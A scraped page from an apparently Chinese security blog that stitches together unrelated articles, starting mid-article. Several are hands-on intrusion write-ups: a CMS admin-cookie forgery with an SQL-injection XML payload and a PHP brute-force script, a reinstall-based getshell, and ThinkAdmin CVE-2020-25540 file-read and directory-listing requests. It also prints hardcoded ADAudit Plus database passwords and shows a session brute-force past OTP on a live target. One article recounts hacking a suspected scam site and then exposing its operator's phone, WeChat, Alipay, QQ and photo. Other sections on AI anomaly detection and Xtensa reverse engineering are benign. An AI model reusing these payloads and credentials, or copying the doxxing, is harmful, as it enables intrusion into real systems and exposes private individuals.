首先抓取目标站后台登录时的cookie，如：NgMTE5LjYyLjEyNC4yMTE1OTgzNTI1NDM4NzUYTBjZmVkN2ZmMzY2OTYzYg，假设我的ip地址为104.192.225.86，通过base64为MTAzLjE5Mi4yMjUuODY=，去掉=。本地经过测试发现ip+时间戳+随机数通过base64编码后为36位，所以上面的加密密文就为：
Ng
MTE5LjYyLjEyNC4yMTE1OTgzNTI1NDM4NzUY
TBjZmVkN2ZmMzY2OTYzYg
我们通过注入获取$msg_val参数和登录状态<?xml version="1.0"?><note>    <ToUserName>cccc</ToUserName>    <FromUserName>1</FromUserName>    <MsgType>event</MsgType>    <Event>click</Event>    <EventKey>1' and updatexml(1,concat(0x7e,(select concat(session_id,0x7e,session_user_id) from `kj_sys_session` order by session_user_id desc limit 0,1),0x7e),1)#</EventKey></note>图片成功读取到了，这里就需要爆破MD5_KEY，他是五位数的，用他的代码修了下php的爆破脚本<?phpfunction safecode($msg_val,$msg_type="encode",$str_key_val = '36118'){ // 192.168.50.1351600069125552        $str_key       = $str_key_val;        $str_en_key    = base64_encode($str_key);        $str_md5_key   = md5($str_key);        $str_md5_key_1 = substr($str_md5_key , 0 , 1);        $str_md5_key_2 = substr($str_md5_key , -1 , 1);        $lng_key_1     = ord($str_md5_key_1);        $lng_key_2     = ord($str_md5_key_2);        $lng_x_key1    = substr($lng_key_1,-1,1);        if($lng_key_1 > 9) {            $lng_x_key2 = intval(substr($lng_key_1 , -2 , 1)) + $lng_x_key1;        }else{            $lng_x_key2 = $lng_x_key1 * 2;        }        $str_left      = base64_encode(substr($str_md5_key , $lng_x_key1 , $lng_x_key2));        $lng_2_key1    = substr($lng_key_2 , -1 , 1);        if($lng_2_key1 > 9){            $lng_2_key2 = intval(substr($lng_key_2 , -2 , 1)) + $lng_2_key1;        }else{            $lng_2_key2 = $lng_2_key1 * 2;        }        $str_right = base64_encode(substr($str_md5_key , -$lng_2_key2));        if($msg_type == "encode"){            $str_en_id   = base64_encode($msg_val);            $str_en_code = $str_left . $str_en_id . $str_right;            $str_return  = str_replace("=" , "" , $str_en_code);        }else{            $str_left    = str_replace("=" , "" , $str_left);            $str_right   = str_replace("=" , "" , $str_right);            $str_llen    = strlen($str_left);            $str_rlen    = strlen($str_right);            $str_len     = strlen($msg_val);            if($str_len < ($str_llen + $str_rlen)){                $str_return = "";            }else{                $str_return = base64_decode(substr($msg_val , $str_llen , -$str_rlen));            }        }        return $str_return;    }

function getNumber($start=1,$end=99999){    for ($i=$start; $i <= $end; $i++) {         $arr[] = substr(str_repeat("0",6).$i,-5,5);    }    return $arr;}
$numbers= getNumber(1,99999);foreach ($numbers as $val){    $keyss = safecode('105.112.215.421600227695831','encode',$val)."<br />";    echo $keyss.':'.strval($val)."<br />";    if ($keyss == 'NgMTAzLjE5Mi4yMjUuNDIxNjAwMjI3Njk1ODMxYTBjZmVkN2ZmMzY2OTYzYg'){        echo $val;        exit;    }}成功获取到了MD5_KEY，然后我们在通过这个脚本利用这个MD5_KEY来生成kj_s_id图片最后就可以伪造cookie登录后台了图片图片

0x04  重装漏洞getshell

本来以为后台可以直接修改文件上传的后缀，发现事情并没有那么简单图片发现还是限制了php无法上传，跟进这部分代码看了下，lib\tab\tab.other.attatch.php图片这里会先获取上传文件的后缀，来判断后缀是否存在$arr_no_allow_ext数组中，所以会先判断数组里面的上传类型，在判断允许上传的类型。这里只有针对windows可以getshell了，我们将上传类型修改成php(空格)，由于windows特性，会把空格去掉。图片然而我们的目标是linux，这种方式不行了，再回来看看代码后台是否有getshell的点，除了在重新安装的点就没发现可以shell的点了（自己太菜了，找到不影响正常功能shell的点）。在文件app\model\install\mod.index.php中的on_config方法：图片mysql的账号密码是通过file_put_contents函数写入到配置文件\data\config\cfg.env.online.php，并没有通过这个cms的过滤函数fun_get::get/post方法，这个方法过滤如下：static function filter_base($str_x , $is_reback=false) {    $search = array("&amp;","&","/amp;/amp;/amp;",'"',"'","<",">",chr(13).chr(10));    $replace = array("/amp;/amp;/amp;","&amp;","&amp;","&quot;","&#039;","&lt;","&gt;",chr(13));    if($is_reback) {        $str_x = str_replace($replace , $search , $str_x);        $str_x = str_replace('\\\'',"'",$str_x);//替换经过mysql转义的格式        $str_x = str_replace('\\"','"',$str_x);    }else{        $str_x = str_replace($search , $replace , $str_x);    }    return $str_x;}全局查了下，$is_reback参数都是为默认的false，为true的话，这个过滤就没啥影响了。现在重装漏洞的点可以实现了，需要一处任意文件删除来将\data\install.inc锁文件进行删除就可以重新安装了。在后台系统日志处，有一次日志文件删除的点，这个点不用看代码都知道可以删除，因为在fun_get::get/post方法中并没有过滤/``.。图片删除了install.inc锁文件就可以进行重新安装了。在数据库名填上我们的任意php代码，就可以shell了。图片重装漏洞虽然可以拿下shell但是不推荐使用重装漏洞会影响正常网站的数据


转自于原文链接： https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247486466&idx=1&sn=121b62ef2740e8474119c3914d363e4c&chksm=ce67a69bf9102f8deac87602cbb4504f9a59336fb0113f728164c65048d0962f92dd2dd66113&scene=21#wechat_redirect
HireHackking

如何應用人工智能來檢測社交媒體上的異常情況人工智能和機器學習算法是異常檢測系統的核心，因為它們負責分析社交媒體上的異常帖子。根據您的目標，您可以讓人工智能處理各種類型的內容、評估帳戶的可信度、分析特定類型的異常情況等。

我們來看看AI 對不同類型內容進行異常檢測的能力：

image.png

文本分析。除了TikTok 和YouTube 等以視頻為中心的平台外，流行社交媒體渠道上的大多數帖子都是基於文本的。使用人工智能分析它們可以為您提供比簡單的關鍵字搜索更多的信息。人工智能可以確定作者的情緒、解釋隱喻、破譯網絡俚語和編碼信息。它甚至可以理解幽默並檢測虛假陳述。這些人工智能功能可幫助異常檢測軟件標記異常並進行徹底分析。

圖像分析。基於人工智能的圖像分析有助於識別圖像內容：文本、對象和整體上下文。從圖像中讀取文本可以處理帶有文本疊加的帖子，這在Facebook 等平台上很流行。圖像處理算法從圖像中挑選出文本後，文本分析算法可以像處理普通文本記錄一樣處理它。

當涉及到圖片、屏幕截圖和其他圖像時，您可以使用各種圖像處理算法來識別對象、分割和分類圖像、搜索模式等。您還可以使用AI修復圖像失真，以改善分析結果。

視頻分析。仔細分析後，社交媒體上發布的視頻可能是安全相關信息的重要來源。人工智能算法可以檢測物體、動作、人，甚至識別情緒，並對不同的視頻進行分類。他們可以幫助偵查暴力、尋找失踪人員，並在大型活動中提供安全概覽。

請注意，與構建用於分析文本和圖像的解決方案相比，構建用於視頻分析的AI 解決方案是一項更具挑戰性但可以實現的任務。它需要收集不同的數據庫，進行廣泛的算法訓練，並使用大量的硬件能力來處理視頻。

現在讓我們看一下對於社交網絡異常檢測有用的人工智能算法的任務。請記住，解決方案的SaaS 部分可以執行所有非智能任務，例如網絡爬行和存儲數據。

image.png

上下文感知文本翻譯。對於國際組織來說，發現世界各地社交媒體上的異常帖子非常重要。此任務需要異常檢測軟件中的翻譯模塊。使用非人工智能翻譯器會降低軟件的效率，因為此類翻譯器不擅長處理上下文、隱喻和引用、語法錯誤和拼寫錯誤。

相反，您可以添加DeepLPython 庫中的API、OpenAI 中的ChatGPT 、Google Cloud 中的Translation AI或任何其他翻譯服務。選擇一項時，請考慮您的軟件使用的技術、開發團隊的專業知識、人工智能服務的功能以及翻譯成本。

威脅概率估計。並非社交媒體上所有不尋常的帖子都必須被標記為可疑。例如，網上的激烈爭論可能不會產生任何結果，或者會導致現實世界的騷擾。人工智能可以估計威脅真實存在的概率。為此，算法可以評估作者是人類還是機器人，分析作者之前的帖子，並確定可疑帖子的情緒。

威脅評估的結果將幫助審查社交媒體異常的專家做出決策，並對異常情況做出更快的反應，從而證明響應的合理性。對於此任務，您可以使用現成的AI 模型進行時間序列分析和自然語言處理。您還可以利用spaCY、NLTK、scikit-learn和Gensim等Python 庫。

風險分類和評分。除了評估威脅之外，人工智能和機器學習算法還可以評估已發現異常的重要性或嚴重性，並為其分配風險評分。風險評分可幫助使用異常檢測系統的專家儘早、快速地解釋結果並做出響應。

由於風險評估是AI 和ML 的常見用例，因此有許多適用於各種任務、行業和特定案例的風險分類AI 算法[PDF]。您可以找到一種或多或少適合您的項目的算法，而不是從頭開始開發算法。但是，請記住，您需要使用數據集訓練此算法，並根據您的特定任務進行調整。

儘管功能強大，人工智能驅動的異常檢測仍然嚴重依賴與該系統合作的專家。人工智能只能準備有關異常的信息供人類審查，從而節省專家的時間和精力。但它無法對威脅概率做出最終決定並選擇處理異常的最佳方法。

異常檢測解決方案的效率還很大程度上取決於其實施的好壞。讓我們看看您在進行異常檢測時可能面臨的主要挑戰以及如何克服這些挑戰。

構建基於SaaS 的異常檢測解決方案面臨哪些挑戰？提供如此復雜的解決方案需要雲應用程序開發、人工智能開發甚至合規法方面的專業知識。以下是您的團隊在開發社交媒體異常檢測SaaS 解決方案時可能遇到的主要挑戰：

image.png

用於人工智能訓練的數據集。任何人工智能算法都需要在相關數據集上進行訓練，然後才能應用於現實場景。準備用於異常檢測的數據集包含幾個挑戰。異常檢測算法必須依賴於準確、一致、有效和平衡的數據來進行有效的異常檢測。必鬚根據算法應檢測的異常類型來標記數據。數據集還必須定義什麼構成正常數據和異常數據。

找到適合特定用途的現成數據集幾乎是不可能的，這就是開發團隊經常手動創建數據集的原因。此過程可能非常耗時，並且需要開發和領域專業知識。另外，請記住，您的解決方案在發布後可能需要額外的培訓，以提高其結果的準確性或教它檢測新威脅。

API 限制。在異常檢測解決方案中包含第三方組件及其API 是減少開發時間和成本的好方法。但是，它為您的解決方案帶來了一系列限制。例如，API 限制可能會限制可訪問的數據量和類型，這可能會阻礙異常檢測解決方案的準確性和有效性。 API 還可能具有限制請求頻率和數量的速率限制。此外，API 方面的任何更新都可能破壞集成功能或引入安全風險。

完全預測和克服與API 相關的挑戰是不可能的，但您可以在集成第三方產品之前通過徹底研究第三方產品來為這些挑戰做好準備。

雲硬件的價格。人工智能算法可能需要大量計算能力來處理信息。在雲服務上託管異常檢測解決方案可以讓您避免人工智能發展熱潮導致的硬件瓶頸、擴展問題和可能的硬件短缺。然而，如果不調整算法，租用雲資源的成本可能會快速上升。

為了控制云成本，請明確定義您要監控哪些社交媒體內容以及您希望軟件處理多少信息。確保人工智能僅執行需要智能算法的任務，所有其他任務均由資源消耗較少的非人工智能工具完成。

監管合規性。監控社交媒體的異常檢測解決方案需要存儲有關檢測到的異常和分析結果的信息。根據法律要求保護這些信息可以讓您既確保數據安全又避免違規問題。

這裡的挑戰是缺乏使用人工智能進行異常檢測的法規。雖然沒有專門針對此類解決方案的實踐，但您可以依賴GDPR 等國際法規以及當地的數據保護法律和標準。

內置偏置。人工智能解決方案不可能完全沒有偏見和公平，因為它繼承了創建它的開發團隊的偏見。該團隊根據他們的經驗、心態以及社會和專業背景選擇算法、開發工具和數據進行培訓。人工智能偏見給異常檢測帶來了道德和質量挑戰。

雖然不可能完全消除偏見，但您可以通過以下方式降低將偏見引入AI 模型的風險：

提高開發過程的透明度

收集多樣化的訓練數據集

廣泛測試您的解決方案

聚集多元化的項目團隊

需要利基專業知識。提供複雜的人工智能解決方案需要您聚集具有不同專業知識的專家：人工智能和機器學習開發、SaaS 開發、雲基礎設施管理、網絡安全、目標行業的專業經驗。組建如此多元化的團隊對任何公司來說都是一個挑戰。保留專家團隊也會導致預算增加。

結論監控社交媒體並檢測異常帖子可以幫助您完成各種任務：防止安全威脅、打擊恐怖主義、發現新趨勢和主題等等。使用人工智能進行異常檢測可以幫助專家節省手動工作時間並進行更高質量的異常分析。與手動異常檢測相比，在雲中部署此類解決方案可以降低維護成本並提高準確性。

HireHackking

0x00 前言本文記錄從零開始搭建ADAudit Plus漏洞調試環境的細節，介紹數據庫用戶口令的獲取方法。

0x01 簡介本文將要介紹以下內容：

ADAudit Plus安裝

ADAudit Plus漏洞調試環境配置

數據庫用戶口令獲取

0x02 ADAudit Plus安裝1.下載全版本下載地址：https://archives2.manageengine.com/active-directory-audit/

2.安裝安裝參考：https://www.manageengine.com/products/active-directory-audit/quick-start-guide-overview.html3.測試訪問https://localhost:8081

0x03 ADAudit Plus漏洞調試環境配置方法同Password Manager Pro漏洞調試環境配置基本類似

1.開啟調試功能(1)定位配置文件

查看java進程的信息，這里分別有兩個java進程，對應兩個不同的父進程wrapper.exe，如下圖

wrapper.exe的進程參數分別為：

“C:\Program Files\ManageEngine\ADAudit Plus\bin\Wrapper.exe” -c “C:\Program Files\ManageEngine\ADAudit Plus\bin\.\conf\wrapper.conf”

“C:\Program Files\ManageEngine\ADAudit Plus\bin\wrapper.exe” -s “C:\Program Files\ManageEngine\ADAudit Plus\apps\dataengine-xnode\conf\wrapper.conf”

這裡需要修改的配置文件為C:\Program Files\ManageEngine\ADAudit Plus\conf\wrapper.conf

(2)修改配置文件添加調試參數

找到啟用調試功能的位置：

2.png

將其修改為

3.png

注：

序號需要逐個遞增，此處將wrapper.java.additional.3=-Xdebug修改為wrapper.java.additional.25=-Xdebug

(3)重新啟動相關進程

關閉進程wrapper.exe和對應的子進程java.exe

在命令行下執行命令：

微信截图_20230425165255.png

2.常用jar包位置路徑：C:\Program Files\ManageEngine\ADAudit Plus\lib

web功能的實現文件為AdventNetADAPServer.jar和AdventNetADAPClient.jar

3.IDEA設置設置為Remote JVM Debug，遠程調試成功如下圖

4.png

0x04 數據庫用戶口令獲取默認配置下，ADAudit Plus使用postgresql存儲數據，默認配置了兩個登錄用戶：adap和postgres

1.用戶adap的口令獲取配置文件路徑：C:\Program Files\ManageEngine\ADAudit Plus\conf\database_params.conf，內容示例：

5.png 6.png

其中，password被加密，加解密算法位於：C:\Program Files\ManageEngine\ADAudit Plus\lib\framework-tools.jar中的com.zoho.framework.utils.crypto-CryptoUtil.class

經過代碼分析，得出以下解密方法：

密鑰固定保存在C:\Program Files\ManageEngine\ADAudit Plus\conf\customer-config.xml，內容示例：

7.png

得到密鑰：CryptTag為8ElrDgofXtbrMAtNQBqy

根據以上得到的密文cb26b920b56fed8d085d71f63bdd79c55ea7b98f8794699562c06ea1bedbec52087b394f和密鑰8ElrDgofXtbrMAtNQBqy，編寫解密程序，代碼如下：

8.png 9.png 10.png

11.png

程序運行後得到解密結果：Adaudit@123$

拼接出數據庫的連接命令：'C:\Program Files\ManageEngine\ADAudit Plus\pgsql\bin\psql' 'host=127.0.0.1 port=33307 dbname=adap user=adaudit password=Adaudit@123$'

連接成功，如下圖

12.png

2.用戶postgres的口令獲取口令硬編碼於C:\Program Files\ManageEngine\ADAudit Plus\lib\AdventnetADAPServer.jar中的com.adventnet.sym.adsm.common.server.mssql.tools-ChangeDBServer.class-isDBServerRunning()，如下圖

13.png

得到用戶postgres的口令為Stonebraker

拼接出數據庫的連接命令：'C:\Program Files\ManageEngine\ADAudit Plus\pgsql\bin\psql' 'host=127.0.0.1 port=33307 dbname=adap user=postgres password=Stonebraker'

連接成功，如下圖

14.png

一條命令實現連接數據庫並執行數據庫操作的命令示例：'C:\Program Files\ManageEngine\ADAudit Plus\pgsql\bin\psql' --command='SELECT * FROM public.aaapassword ORDER BY password_id ASC;' postgresql://postgres:Stonebraker@127.0.0.1:33307/adap

返回結果示例：

15.png

發現password的數據內容被加密

0x05 小結在我們搭建好ADAudit Plus漏洞調試環境後，接下來就可以著手對漏洞進行學習。

HireHackking

0x01 thinkadmin历史漏洞复习

已经找到对方的app的后台地址是thinkadmin，因此我们需要去复习thinkadmin的历史漏洞。

CVE-2020-25540
https://github.com/zoujingli/ThinkAdmin/issues/244
利用POC如下
https://github.com/Schira4396/CVE-2020-25540
列目录

POST /?s=admin/api.Update/node
rules=["runtime/"]

文件读取

/?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b363932382x312t1b

其本质大概想设计出来一个能让第三方去对比服务器上的系统web文件的功能，结果因为目录穿越造成任意目录读取。虽然有一定限制，但危害还是非常非常大，因此后续更新直接将这个功能下架。
还有一个没有CVE的反序列化漏洞
https://github.com/zoujingli/ThinkAdmin/issues/238
存在两处接口，其中一处正是上面列目录功能的rules传参。

POST /?s=admin/api.Update/node
rules=payload

另外一处则是

POST /?s=wechat/api.Push/index
receive=payload


0x02  第一份源码

因为官方已经不提供旧版源码下载，所以我第一时间去其他地方找到了一份使用thinkphp5.1.38的旧版源码。检测了下，其有如下漏洞。
application/wechat/controller/api/Push.php
两处反序列化只修复了一处。

图片

application/admin/controller/api/Update.php
列目录和任意文件读取的路由稍微变了一下，而且列目录无法用rules传参进行控制，只能列web根目录。但任意文件读取取消了各种限制，这意味着可以直接读config/database.php获取数据库配置。

图片

获取了数据库配置之后，数据库如果能够外连就可以深入一点利用。
application/admin/controller/api/Plugs.php

图片

这个是thinkadmin自带的文件上传接口，正如很多cms设计的一样，其白名单storage_local_exts在数据库或者系统后台中都能进行配置。正常来说，我们可以利用这个进行getshell操作，但很明显，如果直接给白名单加上php，过不去第四个if，且后台的系统配置中也有拦截。
application/admin/controller/Config.php

图片

我们如果直接操作数据库，可以绕过后台配置限制，但绕不过upload()的限制。
很显然，只过滤php是不够的，如果对方是windows服务器，我们还有php::$DATA可选，如果对方是apache且进行了错误的配置，我们还有php3/php4/php5/php7/pht/phtml/phar这些可能的解析后缀。

0x03  第二份源码


然而第一份源码除了熟悉thinkadmin架构之外没有任何卵用。因为目标是thinkphp6.0.3的，而且漏洞也和第一份不一样，不存在反序列化。不过还是存在列目录和文件读取，而且和历史漏洞一模一样。
app/admin/controller/api/Update.php

图片

但是在列目录时，碰到了一个问题。

图片

这是因为我列的是web根目录，如果对方项目巨大，或者某个文件夹没有权限，就会导致报错，这个时候就需要针对性列目录，以./app和./runtime为主。

图片

图片

读./app可以获取controller路径，在原版thinkadmin中，突破口并不多，但这种程序很多都是二开的，对比原版thinkadmin那些没有的controller，就可能直接审计出漏洞。审计漏洞需要配合任意文件读取，具体该怎么读请回顾前面的。总而言之，有了CVE-2020-25540我们等于获取了其源码。

这个程序就很容易发现一个SQL注入。
/app/admin/controller/api/Main.php

图片

图片

然而等我吭呲吭呲的注出密码后却发现，登录需要OTP验证，没办法，继续审计。

/app/admin/controller/Posting.php

图片

非常愚蠢的命令拼接，同位置有三处，但都需要后台权限，而且最后发现exec()被disable_functions了，所以无法利用。

/app/admin/controller/api/Upload.php

图片

最后一处是在朋友的提醒下发现的，这乍一看不就是thinkadmin自带的上传吗？前面分析过需要特定环境才能利用，所以我就直接跳过了。结果居然多了个xkey传参可以完全控制$this->name，很难不让人怀疑这是个后门。最后getshell是这样的。

图片

但这个上传接口也需要后台权限，怎么办呢？这个时候就轮到thinkphp经常用到的./runtime出场了。
读runtime/admin/log/single_error.log这个文件很容易发现它记录了一系列的session报错。

图片

而且我们可以知道，这套程序用的php原版session，而且没有放在/tmp或者/var/lib/php/sessions/中，而是runtime/session。那就简单了，我们直接利用列目录列出所有session，然后进行爆破。

图片

这样就可以直接进入后台绕过了OTP限制，接下来再用它的xkey后门getshell就行了。

图片

0x04  另类脑洞


万一没有后门怎么办呢？这套系统是linux+nginx，无法绕过thinkadmin原版upload限制。
但在后续代码审计中，我发现了其有个图床服务器。

图片

这台被getshell的服务器(A)，可以带file_paths参数访问图床服务器(B)的一个接口，其目的是为了让服务器B反过来下载服务器A上面的图片备份下来。为什么我会知道这点呢？
因为服务器B更加千疮百孔，直接访问这个接口就会发现。

图片

不但因为debug泄露了源码，而且这个命令拼接也太赤裸裸了，甚至可以直接当shell用。

图片

所以我们完全可以在不拿下服务器A的情况下，通过任意文件读取和代码审计直接拿下服务器B。
拿下服务器B又有什么用呢？服务器A是会用curl请求服务器B的，这种情况下，可以篡改服务器B的代码，将接口改成302跳转，然后修改协议为gopher，就可以打到服务器A的本地端口了。
如果服务器A的本地存在fpm的9000端口，以及redis的6379端口，就可以这样曲折的进行SSRF getshell，这种案例在discuz的SSRF漏洞上经常能得到利用。

这次虽然没9000 fpm，但却有redis，redis密钥和端口也在config/cache.php存储着，而且web目录恰好是777权限，完全符合gopher打本地redis的条件。

当然，最终我并没有进行尝试，但理论上完全没有问题。


转载于原文链接： https://mp.weixin.qq.com/s/BuHJuQh3lyaq1SmY2xKl3g


HireHackking

4.研究Xtensa架構特性現在我們已經將所有段加載到適當的地址，我們可以開始逆向工程了。

但為了高效地做到這一點，我們需要更多地了解Xtensa 架構，包括：

1.指令中的參數順序

2.條件跳轉的執行細節

3.編譯器調用約定

4.堆棧組織

首先要探索的是指令中的參數順序。例如：MOV R1, R2.您可以在所有架構中找到此類指令，但這可能意味著將R1 複製到R2 或將R2 複製到R1。因此，了解指令中源代碼的位置以及目標寄存器的位置至關重要。您可以在GitHub 上找到Xtensa 指令集描述。

至於該MOV指令，在Xtensa中，表示將R2複製到R1。因此，第一個參數將是大多數簡單指令（例如數學相關指令）中的目的地。例如，指令addi a14, a1,0x38意味著a14=a1 +0x38。

但對於存儲數據的指令，情況則相反。例如，該指令s32i.n a5, a1,0x10意味著的值a5必須存儲在地址處(a1 +0x10)。

要學習的第二件事是條件跳轉的完成方式。有兩種方法可以做到這一點：

1.使用專用指令進行比較操作，設置標誌寄存器，然後進行條件跳轉。

2.使用一條指令一次性執行所有這些操作。

Xtensa 執行後者：beqz a10, loc_400E1C54

使用單個指令來檢查是否a10等於零，然後它要么跳轉到loc_400E1C54，要么不跳轉。

第三步是檢查編譯器使用的調用約定：將參數傳遞給函數的方式以及如何返回值。

Xtensa 以一種非常不尋常的方式傳遞參數。參數在調用指令之前放入寄存器中。但它們在函數中出現的寄存器與調用之前所在的寄存器不同：

image.png

以下是如何在彙編程序級別將參數傳遞給函數的示例：

image.png

這裡我們有三個論據：

a10 是目的地址

a11 是源地址

a12 是要復印的尺寸

然而，一旦代碼進入memcpy函數，這些值就會自動分別傳輸到a2、a3和a4寄存器中。

同樣的技巧也用於返回值。在memcpy函數內部，該值存儲在寄存器中a2，但從函數返回後，該值出現在a10.

返回的樣子如下0：

image.png

這就是檢查返回值的樣子：

image.png

benz.na10在從調用返回時檢查寄存器的值。

最後，有必要了解堆棧是如何組織的。

Xtensa 使用a1 寄存器來創建堆棧幀。每個函數都以入口指令開始：entry a1,0xC0，其中0xC0是堆棧幀的大小，即函數需要用於堆棧變量的堆棧量。

通常，這些函數從初始化堆棧變量開始：

image.png

寄存器中的零值a5被寫入基於a1寄存器的堆棧變量中。

在獲得有關Xtensa 架構的所有必要知識後，我們終於可以開始逆向其代碼了。

5. 在IDA 中對Xtensa 代碼進行逆向工程與ARM、MIPS 和PowerPC 相比，Xtensa 不是最流行的架構，並且沒有完整的功能列表。因此，IDA處理器模塊會存在一些我們需要克服的限制。

IDA 中Xtensa 處理器模塊的主要限制是：

函數參數沒有自動註釋

堆棧幀不會自動創建

一些ESP32 函數屬於IROM，因此存在對硬編碼地址的調用

部分Xtensa指令未反彙編

讓我們討論一些克服這些挑戰的技巧。

5.1.函數參數的類型系統和註釋從IDA 7.7 開始提供Xtensa類型系統。在IDA 中擁有可用的類型系統非常重要，因為它使逆向變得方便。特別是，它允許您導入C 結構的定義並指定IDA 使用的函數原型，以便在傳輸函數參數的指令附近放置自動註釋。

但是，如果您沒有類型系統，還有一個解決方法。

首先，讓我們看看有類型系統時函數是什麼樣子的：

image.png

屏幕截圖13. 當有可用的類型系統時函數的外觀

函數原型設置有參數的名稱和類型，以便IDA 可以使用此信息在調用站點註釋參數：

image.png

屏幕截圖14. 函數原型

但Xtensa 不會有這樣的事情。另一種方法是使用IDA 中的可重複註釋功能。如果您在函數的開頭設置可重複的註釋，它將顯示在所有調用站點上。

image.png

屏幕截圖15. 設置可重複註釋

image.png

屏幕截圖16. 可重複的註釋顯示在所有調用站點上

因此，我們可以使用此功能來定義函數參數：

image.png

屏幕截圖17. 使用可重複註釋功能定義函數參數

調用站點將如下所示：

image.png

屏幕截圖18. 調用站點

您可以在註釋中選擇寄存器名稱，IDA 會在代碼中突出顯示它。因此，您可以輕鬆找到參數值。

5.2.恢復堆棧幀要恢復堆棧幀，您需要手動指定堆棧大小，然後通過在每個與堆棧一起使用的指令處按K 鍵來顯示IDA 的使用位置。

讓我們探索一下config_router_safe函數，例如：

image.png

屏幕截圖19. config_router_safe 函數

很明顯這裡的棧幀大小是0xC0。我們在函數的堆棧設置中使用該值(Alt+P)：

image.png

屏幕截圖20. 使用0xC0 值（堆棧幀大小）

從視覺上看，什麼也不會發生，但是如果您通過按Ctrl+K 轉到該函數的堆棧幀，您會注意到堆棧空間現在已分配：

image.png

屏幕截圖21. 分配堆棧空間

接下來要做的是使用entry指令指定堆棧移位。在此之前，我們建議啟用堆棧指針可視化，如下面的屏幕截圖所示：

image.png

屏幕截圖22. 啟用堆棧指針可視化

現在，代碼應該如下所示：

image.png

屏幕截圖23.啟用堆棧指針可視化後的代碼

000是當前堆棧指針移位值，我們需要將其移位0xC0。為此，請將光標置於入口指令處，然後按Alt+K以查看以下窗口，您可以在其中指定新舊堆棧指針之間所需的差異：

image.png

屏幕截圖24. 將當前堆棧指針值移動0xC0

作為此操作的結果，代碼將如下所示：

image.png

屏幕截圖25. 移動當前堆棧指針移位值後的代碼

現在，如果您開始在與寄存器一起使用的每條指令處按Ka1，IDA 將創建堆棧變量：

image.png

屏幕截圖26.IDA 創建新的堆棧變量

還可以編寫IDA 腳本來自動執行這些操作。

5.3.調用IROM調用位於CPU 的IROM 部分而不是固件中的某些低級API 的情況並不少見。在這種情況下，固件僅與包含定義的IROM 函數地址的特殊鏈接器定義文件鏈接。

在逆向期間，IROM 函數調用如下所示：

image.png

屏幕截圖27. IROM 函數調用

40058E4C是IROM 內的地址。但不可能知道固件調用了哪個函數。因此有必要檢查ESP32 工具鏈以查找鏈接器定義。

ESP32 芯片的IDE 是Espressif IDE。在IDE 文件中搜索IROM 地址，我們會找到：C:\Espressif\frameworks\esp-idf-v4.4.2\components\esptool_py\esptool\flasher_stub\ld\rom_32.ld

image.png

屏幕截圖28. ESP32 ROM 地址表

這些值可以輕鬆轉換為枚舉數據類型：

image.png

屏幕截圖29. 將值轉換為枚舉數據類型

然後，我們需要導入IDA，以便將enum 應用於IROM 地址值：

image.png

屏幕截圖30. 將枚舉應用於IROM 地址值

如果我們在IROM 地址附近添加可重複的註釋，它將使所有內容更容易閱讀：

image.png

屏幕截圖31. 在IROM地址附近添加可重複註釋後的代碼

5.4.無法識別的指令經常發生的情況是，處理器模塊已針對指令集的某些特定變體實現。然後製造商製造出具有99% 兼容指令集的新CPU，其中包含10 多個新指令，這是最初沒人想到的。因此IDA、Ghidra和Radare等工具可能無法反彙編一些新指令。

克服這一挑戰的正確方法是擴展處理器模塊並添加對新指令的支持。這需要對反彙編器API 有深入的了解，而這些API 並不那麼容易理解。

讓我們討論一種可能的解決方法，用於解決以下情況：儘管存在一些無法識別的指令，但您只想讓IDA 創建函數。假設IDA 不知道RER 指令，並且在包含RER 操作碼的情況下無法創建該函數：

image.png

屏幕截圖32. 如果函數包含RER 操作碼，IDA 無法創建該函數

您可以按P多次。除了控制台窗口中出現錯誤外，不會發生任何事情：

image.png

屏幕截圖33. 控制台窗口中的錯誤

但是，這並不意味著IDA 無法創建遵循RER 指令的指令。您可以跳過RER 指令的三個字節，然後創建代碼：

image.png

屏幕截圖34. 跳過RER 指令的三個字節後創建代碼

接下來，您可以選擇從輸入到最後的整段代碼retw.n，然後按P：

image.png

屏幕截圖35. 選擇從Entry 到retw.n 的整段代碼

之後，IDA 將創建該函數：

image.png

屏幕截圖36.IDA 創建一個函數

通常，反彙編程序無法識別的擴展指令在逆向過程中不會產生太大差異。可能導致問題的是執行調用、跳轉或加載/存儲等操作的新指令，因為代碼流丟失並且對數據的引用丟失。

結論對於涉及逆向工程物聯網固件的項目來說，在轉向業務邏輯之前研究未知的硬件架構至關重要。儘管逆向工程師可能需要幾週的時間來學習該架構，但從長遠來看，這種深入的研究有助於提高進一步工作的速度。

HireHackking
在鹰图中找TSRC资产准备挖腾讯SRC时候看到此站点域名:qq.com.xxxx.top,标题为登录图片第一感觉不是正经站应该是钓鱼站whois查询到的图片webpack打包的图片这种站点基本都会有一些测试账号,试了试18888888888密码123456图片看到这个基本确定这就是个做任务赚佣金的那种,主打的就是一个骗钱图片图片图片F12翻找请求和js找到,加载的资源文件报错, 用的thinkphp但是没洞,真是IP也有了找到后台伪装的挺好的叫xxx打卡系统  图片通过fofa查ip找到其他资产,ip访问发下是一个企业建站模版页面,ip后面加个admin跳到企业建站后台实话这个真烂图片在ip后面家入/x又是thinkphp5.0.5的笑死,验证存在rce那个做任务赚佣金的站点还没有好好测简单收集信息,找到旁站进去了基本上数据库配置都在data 或者config图片图片md5解密管理员密码,进后台看看其他信息不怎么关注,主要找站点管理员

图片

图片

1.敏感手机号通过推荐人号很频繁就是一个手机号,139xxxx2.管理员登录日志分析:可疑ip定位在四川3.通过手机号查到微信,和支付宝查到这个人4.通过社工库查到此人QQ,微博以及本人照片

图片

图片

图片

图片

图片



转载于原文链接： https://mp.weixin.qq.com/s/9M0HEP1x-5Xt1JQeyVDrGA
HireHackking

在逆向工程過程中，您可能會遇到可用工具尚不支持您正在使用的架構的情況。

在本文中，我們將探討這樣的案例並展示擴展IDA 功能的示例。我們探索如何實現IDA 插件來反彙編新的Xtensa 指令。

為什麼要創建自定義IDA 插件？在我們之前的一篇文章中，我們討論了研究固件架構的重要性。在這種情況下，我們設法找到了一個支持我們需要分析的設備架構的反彙編工具。現在，我們想要解決逆向工程工具不支持您在項目中使用的架構的問題。讓我們以IDA 為例來探討本文。

交互式反彙編器(IDA)是一種軟件反彙編器，可從機器可執行代碼生成彙編語言源代碼並執行自動代碼分析。該逆向工程工具通過眾多插件提供廣泛的反彙編和調試功能。

IDA 還使用一組稱為處理器模塊的插件將原始字節代碼轉換為反彙編文本。每個插件都是針對特定的硬件架構設計的。

